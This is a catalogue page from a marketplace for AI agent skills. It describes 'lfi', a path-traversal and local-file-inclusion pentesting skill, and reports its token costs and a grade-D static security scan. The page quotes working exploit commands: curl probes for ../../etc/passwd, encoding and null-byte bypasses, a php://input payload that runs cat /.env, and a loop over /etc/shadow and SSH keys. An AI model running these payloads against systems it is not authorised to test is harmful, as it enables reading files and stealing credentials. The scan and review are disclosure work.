Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlasnpx agentmods add skills/mingyiseclab/mingyi-atlas/lfiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lfi)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lfi"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/lfi/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lfi"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/lfi.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00066 | $0.05636 |
| Opus 5 | $0.00033 | $0.02818 |
| Sonnet 5 | $0.00013 | $0.01127 |
| Haiku 4.5 | $0.00007 | $0.00564 |
Grade D, and why
lfi scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s 'http://<TARGET>/page?file=php://input' -d '<?php system("cat /.env"); ?>' Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \ Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd") This is a copy
100% identical to lfi — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 335 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Path Traversal / Local File Inclusion (LFI)
Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.
Precondition — Use Recon Handoff First
If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a
specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=,
/<endpoint>?name=), START with the parameter named in the handoff. Do
NOT run gobuster/ffuf/dirb against the host before testing the
handoff parameter — recon already enumerated the surface. The Detection
block below is for engagements where NO recon handoff exists.
The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):
- plain traversal —
../../../etc/passwd - stripped-traversal bypass —
....//....//....//etc/passwd - PHP wrapper —
php://filter/convert.base64-encode/resource=<file>
Only if all three return baseline-matched response (per the
§"Response Body Verification" check) should you consider broader endpoint
discovery — and that discovery belongs in exploit/PIVOT.md first,
documenting (a) what payload classes you tried against the handoff
parameter, (b) why the handoff vector is exhausted, (c) the new surface
you are moving to.
Detection
# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
[ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done
# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'
# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'
# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'
# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 335 lines · 66 tokens per session scan D 4d87b57940fb
lfi is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 66 tokens to every session and 5,636 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). It is 100% identical to lfi, differing in 0 lines, and is treated as a copy.
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